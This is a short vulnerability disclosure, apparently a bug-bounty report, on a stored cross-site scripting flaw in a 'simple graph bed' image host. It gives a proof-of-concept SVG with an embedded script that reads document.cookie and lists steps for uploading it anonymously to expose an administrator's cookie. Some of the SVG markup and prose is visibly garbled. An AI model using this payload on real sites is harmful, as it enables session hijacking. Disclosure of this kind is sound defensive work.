Description

Storage xss vulnerability exists in simple graph beds,By constructing a malicious svg code that directs the administrator to click, the cookie is stolen

Proof of Concept

Make the svg file as follows

<? xml version="1.0" standalone="no"? >
<! DOCTYPE SVG PUBLIC "- / / / / W3C DTD SVG 1.1 / / EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd" >

< SVG version = "1.1" baseProfile = "full" XMLNS = "http://www.w3.org/2000/svg" >
<rect width="300" height="100" style="fill:rgb(0,0,255); stroke-width:3; stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(document.cookie);
</script>
</svg>

You can steal administrator cookies,No login required to upload svg files on the home page,Then the proof talks about administrator cookies,Set up a local environment and log in as an administrator Upload the svg xss payload we constructed to the graph bed system If yes, xss cookie theft will be triggered Successfully get cookie

Impact

Steal or tamper with application cookies for session hijacking